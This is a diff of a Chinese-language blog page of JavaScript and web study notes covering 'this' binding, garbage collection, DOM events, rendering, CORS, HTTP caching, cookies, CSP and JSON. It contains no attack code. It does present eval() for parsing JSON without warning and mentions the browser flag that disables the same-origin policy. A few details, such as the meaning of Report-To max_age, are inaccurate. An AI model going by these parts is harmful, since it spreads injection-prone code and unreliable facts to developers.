+</code></pre><p>new的作用：实例化一个新的对象-调用构造函数并且将构造函数的this指向该实例对象-实例对象共享构造函数的方法和属性</p><hr><p>JavaScript的内存管理机制与垃圾回收机制</p><p>内存管理机制就是分配内存，JavaScript的内存管理就是创建时分配，不使用就是被回收释放</p><p>JavaScript内存空间分为栈，堆，池</p><p>栈存放变量，堆存放复杂对象，池存放常量</p><p>在声明一个变量或者对象，函数的时候系统会自动分配内存，使用完毕的时候通过垃圾回收机制自动回收</p><p>浏览器最常见的垃圾回收有两个，分别是标记清除，引用计数</p><p>标记清除：垃圾回收器会给存储在内存中的变量一个标记，然后会去掉在环境中的变量及被环境中的变量引用的变量标记（闭包），而在此之后剩下的带有标记的变量视为要被删除的变量，最后垃圾回收器将释放这些变量的内存，回收它们所占用的空间</p><p>引用计数：通过跟踪记录每个值被使用的次数，调用一次值解就加一，改变值为另一个值时就减一，当次数为0时，就是在说明没有变量在使用，这个值已经无法访问，垃圾回收器在运行的时候清理回收引用次数为0的值占用的空间</p><p>注意：引用计数方法会导致内存泄露，因为其循环引用，导致闭锁</p><hr><p>this指向：在严格模式中，函数内部的this被指向到undefined上，在非严格模式上会被绑定到window/global全局对象上，在使用new调用构造函数时，该构造函数内部的this被指向到这个new出来的对象上，在使用call/apply/bind方法调用函数时，该函数内部的this被指向call/apply/bind方法指定参数的对象上，在箭头函数中，this的指向取决于外部作用域，在执行上下文中，this取决于最后调用它的对象</p><p>this优先级：使用bind，apply，call，new绑定this指向的叫显式绑定，而通过调用方式来绑定叫隐式绑定，显式绑定的优先级比隐式绑定的优先级高，在显式绑定中，new优先级最高</p><p>当某个函数在对象上下文中被调用，这个函数的this会绑定在这个对象上下文中，例如：</p><pre><code>function abc(){
+   console.log(this.a)
+}
+let a = 1
+let obj = {
+    a: 123,
+    abc: abc
+}
+let obj1 = {
+    a: 666,
+    obj: obj
+}
+obj.abc() // 哪怕在全局作用域中调用，this依然指向对象上下文
+obj1.obj.abc() // 可以看到对象属性引用链只有真正调用函数的才可以影响this
+</code></pre><p>丢失this绑定（由于默认绑定，会默认绑定到全局对象或者undefined上，从而丢失了this），例如：</p><pre><code>function abc(){
+   console.log(this.a)
+}
+var obj = {
+    a: 123,
+    abc: abc
+}
+var funs = obj.abc
+var a = 666
+funs()
 </code></pre><p>funs变量的值为obj.abc的引用，注意不是调用，调用要加()，执行funs时就是在调用abc函数（因为funs的值就是abc函数的引用），因此abc函数的this指向了全局对象（a在全局作用域中，会变成全局对象的属性），导致丢失了想要指向obj对象的this</p><p>使用let或者const关键字声明的全局变量，会被绑定到Script对象上而不是Window对象，使用var定义的变量，就可以被绑定到Window对象上</p><p>例如：</p><p>var abc = &ldquo;hallo&rdquo;
 console.log(this.abc) // hallo
 console.log(this) // Window</p><p>let abc = &ldquo;hallo&rdquo;
@@ -169,88 +169,88 @@
 const abc = Math.max.apply(null,arr)
 console.log(abc) // 10</p><p>call():第一个参数是this的指向，后面传入的是一个参数列表（注意要一次性传完），当第一个参数为null或undefined的时候，表示指向window，call是临时改变一次this指向，并立即执行（和apply()一样）</p><p>var arr=[1,2,4,6,7,10]
 var max=Math.max.call(null,arr[0],arr[1],arr[2])
-console.log(max) // 4</p><p>call和apply可直接对函数进行调用，而bind是返回一个函数，这个函数已经绑定了新的this指向，需要()来调用</p><p>显式硬绑定</p><pre><code>function abc(){
-   console.log(this.a)
-}
-var obj = {
-    a: 123,
-    abc: abc
-}
-var funs = function(){
-    abc.call(obj)
-}
-funs()
-funs.call(windos) // 不能修改this，因为调用funs函数本身就是在绑定this
+console.log(max) // 4</p><p>call和apply可直接对函数进行调用，而bind是返回一个函数，这个函数已经绑定了新的this指向，需要()来调用</p><p>显式硬绑定</p><pre><code>function abc(){
+   console.log(this.a)
+}
+var obj = {
+    a: 123,
+    abc: abc
+}
+var funs = function(){
+    abc.call(obj)
+}
+funs()
+funs.call(windos) // 不能修改this，因为调用funs函数本身就是在绑定this
 </code></pre><hr><p>数字 Number
 字符串 String 对象
 日期 Date 对象
 数组 Array
 布尔 Boolean
-算数 Math</p><hr><p>防抖动（Debouncing）和节流阀（Throtting）</p><p>防抖和节流是web性能优化的知识点，常见于处理触发频率较高的函数，例如：滚动条监听</p><p>防抖(debounce)</p><p>触发事件，不立刻执行，而是事件发生后一段时间在执行，延迟执行，例如setTimeout()</p><p>每触发一次，都要经过一定时间后才进行执行，而该事件再触发，那么上一个触发的时间作为新起点</p><p>可以理解为触发事件后在一定时间内只执行一次，如果在该一定时间内又触发了事件，那么重新计算</p><p>节流(throttle)</p><p>节流其实就是连续触发多次事件，但是在一定时间只触发一次函数</p><p>防抖和节流的区别就是，一个在一定时间内只执行一次，多次触发重新计算，而另一个就是在一定时间内触发一次</p><hr><p>DOM事件流/事件委托</p><p>DOM事件流实质上就是页面中接收事件的顺序，当事件被触发的时候，事件在dom节点之间按照顺序传播，这个就是DOM事件流</p><p>事件被触发，执行目标该事件的处理函数，一个事件被触发，传递给自己父级，一直到window，这个叫事件冒泡</p><p>捕获事件和冒泡只能执行其中一个，例如不想执行某个事件冒泡，就可以捕获其事件，从而达到阻止冒泡的情况发生</p><p>事件对象（event）：这个对象包含了事件的相关数据</p><p>ev = event || window.event</p><p>ev.target可以获取到是说触发了这个事件，例如：</p><pre><code>const ev = event || window.event
-const div = document.querySelector('div')
-div.addEventListener('click', function (ev) {
-    console.log(ev.target)
-})
+算数 Math</p><hr><p>防抖动（Debouncing）和节流阀（Throtting）</p><p>防抖和节流是web性能优化的知识点，常见于处理触发频率较高的函数，例如：滚动条监听</p><p>防抖(debounce)</p><p>触发事件，不立刻执行，而是事件发生后一段时间在执行，延迟执行，例如setTimeout()</p><p>每触发一次，都要经过一定时间后才进行执行，而该事件再触发，那么上一个触发的时间作为新起点</p><p>可以理解为触发事件后在一定时间内只执行一次，如果在该一定时间内又触发了事件，那么重新计算</p><p>节流(throttle)</p><p>节流其实就是连续触发多次事件，但是在一定时间只触发一次函数</p><p>防抖和节流的区别就是，一个在一定时间内只执行一次，多次触发重新计算，而另一个就是在一定时间内触发一次</p><hr><p>DOM事件流/事件委托</p><p>DOM事件流实质上就是页面中接收事件的顺序，当事件被触发的时候，事件在dom节点之间按照顺序传播，这个就是DOM事件流</p><p>事件被触发，执行目标该事件的处理函数，一个事件被触发，传递给自己父级，一直到window，这个叫事件冒泡</p><p>捕获事件和冒泡只能执行其中一个，例如不想执行某个事件冒泡，就可以捕获其事件，从而达到阻止冒泡的情况发生</p><p>事件对象（event）：这个对象包含了事件的相关数据</p><p>ev = event || window.event</p><p>ev.target可以获取到是说触发了这个事件，例如：</p><pre><code>const ev = event || window.event
+const div = document.querySelector('div')
+div.addEventListener('click', function (ev) {
+    console.log(ev.target)
+})
 </code></pre><p>还有preventDefault()，stopPropagation()分别用来阻止默认事件和冒泡的</p><p>事件委托</p><p>事件委托实质上就是不在子元素上设置事件监听，而是在其父元素上，利用冒泡事件来设置给子元素</p><p>在父元素上绑定事件监听，然后通过ev.target来精确找到是那个子元素触发的，然后事件冒泡到父元素上，因为父元素有事件监听器，因此触发</p><p>this会变，但是ev.target永远会精确找到触发事件的目标元素，可以不再使用this来表示当前事件触发元素了</p><hr><p>DOM加载顺序（浏览器加载顺序）：解析HTML-加载外部脚本和样式表-解析脚本并且执行-构造DOM模型-加载外部文件（例如图片视频音频等等）</p><p>浏览器渲染过程</p><p>接收获取到html/css/JavaScript等资源后</p><p>浏览器解析渲染该资源，在渲染页面之前后先构建DOM树和CSSOM树</p><p>DOM树实质就是DOM对象模型，提供了对DOM的结构的方法（例如js就是通过dom来操作结构和样式等等）</p><p>CSSOM树实质就是样式对象模型，是css的对象集合</p><p>通过DOM树和CSSOM树合并为RenderObject树（RENDER树，又叫渲染树），通过一系列的布局，绘制操作，再通过浏览器来将渲染交给GPU进程来合成，最后显示页面</p><p>因为JavaScript被设计成GUI渲染和JavaScript互斥，当JavaScript执行的时候，GUI线程会被挂起，等待JavaScript执行完毕后才会执行GUI渲染操作</p><p>因此当JavaScript执行时间过长，会导致GUI渲染DOM加载堵塞</p><p>另外CSS加载也是会阻塞DOM的渲染，因为它需要等CSSOM构造完毕才会开始渲染（RenderObject树依赖于DOM树和CSSOM树）</p><p>而且CSS会在JavaScript执行之前加载执行，因此也是会阻塞JavaScript执行</p><p>关键渲染路径(Critical Rendering Path)优化</p><p>为了完成第一次渲染，应该尽量减少关键资源加载的数量，减短关键资源的获取时间，减小关键资源文件的大小</p><p>在生产环境中，应该减少不必要的注释，空格，尽量做到min文件，可以利用GZIP来压缩文件，来减小文件大小，利用缓存机制来减少获取资源的数量</p><p>注意：浏览器遇到script元素的时候，会阻止解析器执行操作，当CSSOM树构建完毕才会执行JavaScript，再解析</p><p>可以利用script元素的async属性来让其继续执行，而且不会被CSSOM阻止</p><p>script元素的defer属性可以等解析完毕（Loaded）后再执行</p><p>浏览器的回流和重绘</p><p>当渲染树（RenderTree）某个部分出现改变（例如尺寸，属性等等），浏览器会重新渲染该部分或者全部的过程叫回流（reflow）</p><p>页面第一次渲染，视窗大小发生改变，元素位置或者大小发生改变，元素字体大小发生改变，添加或删除DOM元素等等都会导致回流</p><p>例如：增加，删除，修改dom节点，移动dom位置，修改css样式（大小），改变窗口的对象（Resize）（移动端没这个问题），滚动页面，修改网页的字体等等</p><p>重绘（Repaint）：当元素不会改变其在正常流（文档流）的时候，只是改变样式，浏览器将新样式给元素并且重新绘制其</p><p>回流和重绘危害性，肯定是回流严重，一个是重新渲染，另一个只是渲染其本身</p><hr><p>性能优化</p><p>减少http请求次数（缓存或者本地存储），减少http请求文件的体积，图片优化（压缩），提升http请求速度</p><p>减少dom操作（避免浏览器回流），事件委托，DOM Fragment，防抖节流，尽量不使用全局变量，布局优先选择flex</p><p>异步加载css和js，预加载preload，页面加载动画，骨架屏，路由（组件）懒加载，组件缓存（keepalive）</p><hr><p>因为浏览器有同域策略，跨域会阻止，因此要解决跨域问题</p><p>跨域资源共享(CORS)</p><p>跨域发生的原因并不是在服务端，而是浏览器，实质上跨域发生后，服务端接收到请求，并且返回响应，但是浏览器接收到了响应后，因为浏览器的安全策略的原因，如果符合跨域的要求，但是没有通过Access-Control-Allow-Origin参数来允许客户端跨域请求该数据的话，浏览器将忽略响应结果，返回发生跨域的报错，从而得出，跨域是浏览器的安全策略的一种，确保得到的响应是服务端的的确确是发送给浏览器（客户端）的，而且也能进一步避免浏览器处理了另一个域的恶意脚本，也能进一步避免服务端的敏感数据对不合法请求的暴露</p><p>注意：localhost和127.0.0.1是存在映射关系，但是浏览器不知道localhost是映射到哪里的，因此浏览器会认为localhost和127.0.0.1是不同域的</p><p>CORS可以通过http头来告诉浏览器，准许访问来自不同源的指定资源</p><p>只需要服务器设置Access-Control-Allow-Origin就可以，只有特殊跨域才需要设置</p><p>nginx配置
 location / {
 add_header Access-Control-Allow-Origin *;
-}</p><p>谷歌浏览器标记：&ndash;disable-web-security（禁用同源策略）</p><p>JSONP是json的补充，并不是官方的标准，jsonp是利用script标签和img标签之类的可以直接引用其他域的文件（没有跨域限制）</p><p>jsonp跨域，例如：</p><pre><code>let script = document.createElement('script')
-script.type = 'text/javascript'
-script.src = 'https://test.xiaochenabc123.test.com/test.js'
-document.head.appendChild(script)
-</code></pre><p>node跨域</p><pre><code>app.all('*', function(req, res, next) {
-    console.log(req.method);
-    res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;);
-    res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;https://test.xiaochenabc123.test.com&quot;);
-    res.header('Access-Control-Allow-Headers', 'Content-type');
-    res.header(&quot;Access-Control-Allow-Methods&quot;, &quot;PUT,POST,GET,DELETE,OPTIONS,PATCH&quot;);
-    res.header('Access-Control-Max-Age',1728000);
-    next();  
-});
-</code></pre><p>预检请求</p><p>CORS预请求：浏览器会发送一个OPTIONS请求到服务端验证跨域的配置是否正确，然后服务端返回一个响应来确定跨域是否被允许</p><p>CORS将请求分成2种，简单请求（simple request）和非简单请求（not-simple-request）</p><p>简单请求（满足下面的条件就是简单请求，否则就是非简单请求）：</p><p>请求方式：必须是GET请求，POST请求，HEAD请求这三个之一</p><p>请求头：请求头只能设置Accept，Accept-Language，Content-Language，Content-Type这三个字段</p><p>Content-Type：该字段的值只能设置text/plain，multipart/form-data，application/x-www-form-urlencoded这三个值</p><p>简单请求不会触发CORS预检请求，直接向目标服务器发送请求，如果满足CORS配置，服务器则返回响应，如果不是简单请求，那么浏览器会在发送请求之前发送预检请求给服务器，检查当前请求是否符合服务器的CORS配置，如果不符合则跨域报错，符合后才发送真正的请求</p><p>CORS预检请求：使用OPTIONS请求发送预检请求到服务器上，来确定服务器是否允许该请求，该请求包含了两个字段，分别是Access-Control-Request-Method和Access-Control-Request-Headers，服务器接收到请求后，发送预检请求的响应，该响应中包括Access-Control-Allow-Headers和Access-Control-Allow-Origin这些字段，来限制请求，浏览器接收到该响应后才发送真实的资源请求</p><p>（客户端）Access-Control-Request-Method表示实质请求用什么请求方式，Access-Control-Request-Headers表示实质请求携带了什么字段，由服务端来检查，该请求是否被允许</p><p>（服务端）Access-Control-Allow-Origin表示服务器限制请求的源域，没有限制为*，Access-Control-Allow-Headers表示服务器允许请求携带什么字段，Access-Control-Allow-Methods表示服务器允许用什么请求方式来请求，Access-Control-Max-Age表示该预检请求的响应可以缓存多久（在该时间段内不用再发送同一请求的预检请求）</p><p>注意：浏览器有个最大有限时间，Access-Control-Max-Age响应头（服务端响应），该响应头表示了本次预检请求的响应可以被缓存多久，单位为秒（不同浏览器最大有限时间都不同，Firefox为86400秒，目前最新chromium为7200秒），在这个时间段内浏览器不需要再为同一个请求发送预检请求</p><p>缓存</p><pre><code>    res.header(&quot;Cache-Control&quot;,&quot;max-age=60&quot;);
-</code></pre><p>private指的单个用户，public可以被任何中间人、CDN等缓存</p><p>HTTP的可缓存性（public（允许被任何人（客户端，中间人，代理都可以）缓存），private（只能缓存在客户端，代理服务器无法获得缓存），no-cache（禁止强缓存，每次都需向服务端验证缓存是否过期，只有当确认没有过期后才能被缓存））</p><p>缓存到期(max-age（缓存的到期时间，单位为秒，距离上一次请求多少秒后缓存过期），s-maxage（设置代理服务器的缓存到期时间，单位为秒），max-stale（允许缓存超过max-age或者s-maxage设置的缓存生存时长，该配置表示过期的缓存最大可以缓存多久，单位秒，也就是说实质缓存过期时间是max-age+max-stale（或者s-maxage））)</p><p>重新验证（must-revalidate（和no-cahe类似，但是该参数允许缓存过期多少秒后进行验证，单位为秒），proxy-revalidate（和must-revalidate类似，不过只作用于代理服务器））</p><p>no-store（禁止缓存），no-transform（不允许对资源进行压缩或者转换的工作）</p><p>设置一个完全禁止缓存（Cache-Control: no-cache, no-store, must-revalidate）</p><p>缓存的验证（Last-Modified（表示上次修改的时间），Etag（数据的唯一签名，如果资源发生改变，签名会发生改变））</p><p>If-Modified-Since：第二次访问该资源时，浏览器会向服务端发送一个请求，来确定该资源是否发生修改（重启服务器也会导致认为已经修改），如果没有修改则继续使用缓存（该请求的响应为304），如果已经修改了则重新对该资源的拉取</p><p>If-None-Match：当浏览器请求该资源时，服务端会发送一个Etag给浏览器，浏览器第二次请求该资源时，发送一个If-None-Match给服务端，让服务端来验证资源是否发送了改变</p><p>cookie</p><p>cookie通过Set-Cookie设置</p><p>cookie是具备过期时间的，通过max-age来设置（表示该cookie存活多长时间后被销毁，单位秒），默认当浏览器销毁该会话时自动删除cookie，还可以设置expires来设置过期时间（指定该cookie到达什么时间后消耗，根据过期时间和本地客户端的时间进行对比，如果超过或者已经到了过期时间，就会销毁该cooki）</p><p>设置httponly后无法通过document.cookie访问cookie（安全）</p><p>secure只在https时发送该cookie（安全）</p><p>Domain只在命中该域时发送该cookie（安全）</p><p>path可以限制服务端哪个路径下可以访问到该cookie（安全）</p><pre><code>const http = require(&quot;http&quot;)
-http.createServer(function (_request, response) {
-    response.writeHead(200,{
-        'Content-Type': 'text/plain',
-        'Set-Cookie': 'id=abc'
-        // 'Set-Cookie': ['id=abc; max-age=5','pass=123; HttpOnly Secure=true','age=20; Domain=test.xiaochenabc123.test.com; path=/testWeb/']
-    })
-    response.end(&quot;hallo nodejs&quot;)
-}).listen(8888)
-console.log('Server running at http://127.0.0.1:8888/')
-</code></pre><p>http数据协商</p><p>Accept（客户端想要的数据类型）</p><p>Accept-Encoding（数据的编码传输，避免服务端进行数据编码压缩）</p><p>Accept-Language（数据的语言）</p><p>User-Agent（浏览器的UA信息）</p><p>Content-Type（服务端返回的数据的实质类型）</p><p>Content-Encoding（服务端实质返回的数据的编码（实质的数据的压缩格式））</p><p>Content-Language（服务端返回数据的实质语言）</p><p>Content-Security-Policy（内容安全策略，CSP）</p><p>限制资源的获取</p><pre><code>    res.writeHead(200, {
-        'Content-Type': 'text-html',
-        'Content-Security-Policy': 'default-src http: https:' 
-        // 'Content-Security-Policy': 'default-src \'self\' http://test.xiaochenabc123.test.com; form-action \'self\'; report-uri https://testreport.xiaochenabc123.test.com; report-to reportTest' 
-    });
-</code></pre><p>default-src是全局限制，还有img-src，script-src，style-src等等限制指定的资源类型，上面的例子中表示的是限制全局资源必须是以http或者https的外联的方式访问，内联方式访问将会报错</p><p>'self'的作用是非本域的资源，限制其加载，也可以设置指定的域的资源可以加载（注意：该限制不会导致form元素的action属性，需要使用form-action 'self'来限制）</p><p>report-uri的作用是当客户端存在违反CSP的企图是，将违规报告通过post请求的方式（json格式）发送指定服务器（该功能已被web标准抛弃，推荐使用取代品report-to）</p><p>report-to配置</p><pre><code>Report-To: { 
-    &quot;group&quot;: &quot;reportTest&quot;,
-    &quot;max_age&quot;: 10886400,
-    &quot;endpoints&quot;: [
-        { &quot;url&quot;: &quot;https://reports.xiaochenabc123.test.com&quot; },
-        { &quot;url&quot;: &quot;https://test.xiaochenabc123.test.com/reports&quot; }
-    ]
-},{ 
-    &quot;group&quot;: &quot;reportTestA&quot;,
-    &quot;max_age&quot;: 10886400,
-    &quot;endpoints&quot;: [
-        { &quot;url&quot;: &quot;https://reportsA.xiaochenabc123.test.com&quot; },
-        { &quot;url&quot;: &quot;https://test.xiaochenabc123.test.com/reportsA&quot; }
-    ]
-},
-</code></pre><p>当发生违规情况时，发送report报告到指定endpoints下的url中，group为report名，max_age是报告的最大大小是多少，可以设置多个report报告，report-to不支持在meta下使用</p><p>如果发生违规情况，但是又不想强制限制资源的加载，只想记录违规情况的时候，可以使用Content-Security-Policy-Report-Only</p><pre><code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src 'self' http://test.xiaochenabc123.test.com; form-action 'self'&quot;&gt;
-</code></pre><hr><p>浏览器事件循环</p><p>浏览器缓存</p><hr><p>json全成JavaScript Object Notation，用来数据交互，以键值对方式，多个数据用逗号分隔</p><p>json支持字符串，数值，布尔值，数组，对象，null</p><p>JSON.stringify() json转为字符串</p><p>JSON.parse() 字符串转为json</p><p>JSON字符串：和普通字符串没有区别，只是符合语法规则</p><p>例如：</p><pre><code>let objStr = '{&quot;name&quot;:&quot;root&quot;,&quot;pass&quot;:&quot;admin&quot;,&quot;true&quot;: null}'
-let objArr = '[{&quot;name&quot;: &quot;boom&quot;,&quot;pass&quot;: &quot;hallo&quot;},{&quot;name&quot;: &quot;aaa&quot;,&quot;pass&quot;: &quot;yes&quot;}]'
-let obja = JSON.parse(objStr)
-let objb = JSON.parse(objArr)
-console.log(obja)
-console.log(objb)
-</code></pre><p>获取属性和值</p><p>通过对象名.属性名来获取或者修改，例如obja.name</p><p>也可以通过对象名[属性名]来获取或者修改，例如obja[&ldquo;name&rdquo;]</p><p>删除对象属性，delete obja.name</p><p>JSON转JavaScript对象（利用eval()来解析json文本）</p><pre><code>let objStr = '{&quot;name&quot;:&quot;root&quot;,&quot;pass&quot;:&quot;admin&quot;,&quot;true&quot;: null}'
-let objArr = '[{&quot;name&quot;: &quot;boom&quot;,&quot;pass&quot;: &quot;hallo&quot;},{&quot;name&quot;: &quot;aaa&quot;,&quot;pass&quot;: &quot;yes&quot;}]'
-let obja = eval(&quot;(&quot; + objStr + &quot;)&quot;)
-let objb = eval(&quot;(&quot; + objArr + &quot;)&quot;)
-console.log(obja)
-console.log(objb)
+}</p><p>谷歌浏览器标记：&ndash;disable-web-security（禁用同源策略）</p><p>JSONP是json的补充，并不是官方的标准，jsonp是利用script标签和img标签之类的可以直接引用其他域的文件（没有跨域限制）</p><p>jsonp跨域，例如：</p><pre><code>let script = document.createElement('script')
+script.type = 'text/javascript'
+script.src = 'https://test.xiaochenabc123.test.com/test.js'
+document.head.appendChild(script)
+</code></pre><p>node跨域</p><pre><code>app.all('*', function(req, res, next) {
+    console.log(req.method);
+    res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;);
+    res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;https://test.xiaochenabc123.test.com&quot;);
+    res.header('Access-Control-Allow-Headers', 'Content-type');
+    res.header(&quot;Access-Control-Allow-Methods&quot;, &quot;PUT,POST,GET,DELETE,OPTIONS,PATCH&quot;);
+    res.header('Access-Control-Max-Age',1728000);
+    next();  
+});
+</code></pre><p>预检请求</p><p>CORS预请求：浏览器会发送一个OPTIONS请求到服务端验证跨域的配置是否正确，然后服务端返回一个响应来确定跨域是否被允许</p><p>CORS将请求分成2种，简单请求（simple request）和非简单请求（not-simple-request）</p><p>简单请求（满足下面的条件就是简单请求，否则就是非简单请求）：</p><p>请求方式：必须是GET请求，POST请求，HEAD请求这三个之一</p><p>请求头：请求头只能设置Accept，Accept-Language，Content-Language，Content-Type这三个字段</p><p>Content-Type：该字段的值只能设置text/plain，multipart/form-data，application/x-www-form-urlencoded这三个值</p><p>简单请求不会触发CORS预检请求，直接向目标服务器发送请求，如果满足CORS配置，服务器则返回响应，如果不是简单请求，那么浏览器会在发送请求之前发送预检请求给服务器，检查当前请求是否符合服务器的CORS配置，如果不符合则跨域报错，符合后才发送真正的请求</p><p>CORS预检请求：使用OPTIONS请求发送预检请求到服务器上，来确定服务器是否允许该请求，该请求包含了两个字段，分别是Access-Control-Request-Method和Access-Control-Request-Headers，服务器接收到请求后，发送预检请求的响应，该响应中包括Access-Control-Allow-Headers和Access-Control-Allow-Origin这些字段，来限制请求，浏览器接收到该响应后才发送真实的资源请求</p><p>（客户端）Access-Control-Request-Method表示实质请求用什么请求方式，Access-Control-Request-Headers表示实质请求携带了什么字段，由服务端来检查，该请求是否被允许</p><p>（服务端）Access-Control-Allow-Origin表示服务器限制请求的源域，没有限制为*，Access-Control-Allow-Headers表示服务器允许请求携带什么字段，Access-Control-Allow-Methods表示服务器允许用什么请求方式来请求，Access-Control-Max-Age表示该预检请求的响应可以缓存多久（在该时间段内不用再发送同一请求的预检请求）</p><p>注意：浏览器有个最大有限时间，Access-Control-Max-Age响应头（服务端响应），该响应头表示了本次预检请求的响应可以被缓存多久，单位为秒（不同浏览器最大有限时间都不同，Firefox为86400秒，目前最新chromium为7200秒），在这个时间段内浏览器不需要再为同一个请求发送预检请求</p><p>缓存</p><pre><code>    res.header(&quot;Cache-Control&quot;,&quot;max-age=60&quot;);
+</code></pre><p>private指的单个用户，public可以被任何中间人、CDN等缓存</p><p>HTTP的可缓存性（public（允许被任何人（客户端，中间人，代理都可以）缓存），private（只能缓存在客户端，代理服务器无法获得缓存），no-cache（禁止强缓存，每次都需向服务端验证缓存是否过期，只有当确认没有过期后才能被缓存））</p><p>缓存到期(max-age（缓存的到期时间，单位为秒，距离上一次请求多少秒后缓存过期），s-maxage（设置代理服务器的缓存到期时间，单位为秒），max-stale（允许缓存超过max-age或者s-maxage设置的缓存生存时长，该配置表示过期的缓存最大可以缓存多久，单位秒，也就是说实质缓存过期时间是max-age+max-stale（或者s-maxage））)</p><p>重新验证（must-revalidate（和no-cahe类似，但是该参数允许缓存过期多少秒后进行验证，单位为秒），proxy-revalidate（和must-revalidate类似，不过只作用于代理服务器））</p><p>no-store（禁止缓存），no-transform（不允许对资源进行压缩或者转换的工作）</p><p>设置一个完全禁止缓存（Cache-Control: no-cache, no-store, must-revalidate）</p><p>缓存的验证（Last-Modified（表示上次修改的时间），Etag（数据的唯一签名，如果资源发生改变，签名会发生改变））</p><p>If-Modified-Since：第二次访问该资源时，浏览器会向服务端发送一个请求，来确定该资源是否发生修改（重启服务器也会导致认为已经修改），如果没有修改则继续使用缓存（该请求的响应为304），如果已经修改了则重新对该资源的拉取</p><p>If-None-Match：当浏览器请求该资源时，服务端会发送一个Etag给浏览器，浏览器第二次请求该资源时，发送一个If-None-Match给服务端，让服务端来验证资源是否发送了改变</p><p>cookie</p><p>cookie通过Set-Cookie设置</p><p>cookie是具备过期时间的，通过max-age来设置（表示该cookie存活多长时间后被销毁，单位秒），默认当浏览器销毁该会话时自动删除cookie，还可以设置expires来设置过期时间（指定该cookie到达什么时间后消耗，根据过期时间和本地客户端的时间进行对比，如果超过或者已经到了过期时间，就会销毁该cooki）</p><p>设置httponly后无法通过document.cookie访问cookie（安全）</p><p>secure只在https时发送该cookie（安全）</p><p>Domain只在命中该域时发送该cookie（安全）</p><p>path可以限制服务端哪个路径下可以访问到该cookie（安全）</p><pre><code>const http = require(&quot;http&quot;)
+http.createServer(function (_request, response) {
+    response.writeHead(200,{
+        'Content-Type': 'text/plain',
+        'Set-Cookie': 'id=abc'
+        // 'Set-Cookie': ['id=abc; max-age=5','pass=123; HttpOnly Secure=true','age=20; Domain=test.xiaochenabc123.test.com; path=/testWeb/']
+    })
+    response.end(&quot;hallo nodejs&quot;)
+}).listen(8888)
+console.log('Server running at http://127.0.0.1:8888/')
+</code></pre><p>http数据协商</p><p>Accept（客户端想要的数据类型）</p><p>Accept-Encoding（数据的编码传输，避免服务端进行数据编码压缩）</p><p>Accept-Language（数据的语言）</p><p>User-Agent（浏览器的UA信息）</p><p>Content-Type（服务端返回的数据的实质类型）</p><p>Content-Encoding（服务端实质返回的数据的编码（实质的数据的压缩格式））</p><p>Content-Language（服务端返回数据的实质语言）</p><p>Content-Security-Policy（内容安全策略，CSP）</p><p>限制资源的获取</p><pre><code>    res.writeHead(200, {
+        'Content-Type': 'text-html',
+        'Content-Security-Policy': 'default-src http: https:' 
+        // 'Content-Security-Policy': 'default-src \'self\' http://test.xiaochenabc123.test.com; form-action \'self\'; report-uri https://testreport.xiaochenabc123.test.com; report-to reportTest' 
+    });
+</code></pre><p>default-src是全局限制，还有img-src，script-src，style-src等等限制指定的资源类型，上面的例子中表示的是限制全局资源必须是以http或者https的外联的方式访问，内联方式访问将会报错</p><p>'self'的作用是非本域的资源，限制其加载，也可以设置指定的域的资源可以加载（注意：该限制不会导致form元素的action属性，需要使用form-action 'self'来限制）</p><p>report-uri的作用是当客户端存在违反CSP的企图是，将违规报告通过post请求的方式（json格式）发送指定服务器（该功能已被web标准抛弃，推荐使用取代品report-to）</p><p>report-to配置</p><pre><code>Report-To: { 
+    &quot;group&quot;: &quot;reportTest&quot;,
+    &quot;max_age&quot;: 10886400,
+    &quot;endpoints&quot;: [
+        { &quot;url&quot;: &quot;https://reports.xiaochenabc123.test.com&quot; },
+        { &quot;url&quot;: &quot;https://test.xiaochenabc123.test.com/reports&quot; }
+    ]
+},{ 
+    &quot;group&quot;: &quot;reportTestA&quot;,
+    &quot;max_age&quot;: 10886400,
+    &quot;endpoints&quot;: [
+        { &quot;url&quot;: &quot;https://reportsA.xiaochenabc123.test.com&quot; },
+        { &quot;url&quot;: &quot;https://test.xiaochenabc123.test.com/reportsA&quot; }
+    ]
+},
+</code></pre><p>当发生违规情况时，发送report报告到指定endpoints下的url中，group为report名，max_age是报告的最大大小是多少，可以设置多个report报告，report-to不支持在meta下使用</p><p>如果发生违规情况，但是又不想强制限制资源的加载，只想记录违规情况的时候，可以使用Content-Security-Policy-Report-Only</p><pre><code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src 'self' http://test.xiaochenabc123.test.com; form-action 'self'&quot;&gt;
+</code></pre><hr><p>浏览器事件循环</p><p>浏览器缓存</p><hr><p>json全成JavaScript Object Notation，用来数据交互，以键值对方式，多个数据用逗号分隔</p><p>json支持字符串，数值，布尔值，数组，对象，null</p><p>JSON.stringify() json转为字符串</p><p>JSON.parse() 字符串转为json</p><p>JSON字符串：和普通字符串没有区别，只是符合语法规则</p><p>例如：</p><pre><code>let objStr = '{&quot;name&quot;:&quot;root&quot;,&quot;pass&quot;:&quot;admin&quot;,&quot;true&quot;: null}'
+let objArr = '[{&quot;name&quot;: &quot;boom&quot;,&quot;pass&quot;: &quot;hallo&quot;},{&quot;name&quot;: &quot;aaa&quot;,&quot;pass&quot;: &quot;yes&quot;}]'
+let obja = JSON.parse(objStr)
+let objb = JSON.parse(objArr)
+console.log(obja)
+console.log(objb)
+</code></pre><p>获取属性和值</p><p>通过对象名.属性名来获取或者修改，例如obja.name</p><p>也可以通过对象名[属性名]来获取或者修改，例如obja[&ldquo;name&rdquo;]</p><p>删除对象属性，delete obja.name</p><p>JSON转JavaScript对象（利用eval()来解析json文本）</p><pre><code>let objStr = '{&quot;name&quot;:&quot;root&quot;,&quot;pass&quot;:&quot;admin&quot;,&quot;true&quot;: null}'
+let objArr = '[{&quot;name&quot;: &quot;boom&quot;,&quot;pass&quot;: &quot;hallo&quot;},{&quot;name&quot;: &quot;aaa&quot;,&quot;pass&quot;: &quot;yes&quot;}]'
+let obja = eval(&quot;(&quot; + objStr + &quot;)&quot;)
+let objb = eval(&quot;(&quot; + objArr + &quot;)&quot;)
+console.log(obja)
+console.log(objb)
 </code></pre><p>JSONP
 postMessage()
 websocket
@@ -259,195 +259,195 @@
 nginx反向代理
 window.name + iframe
 location.hash + iframe
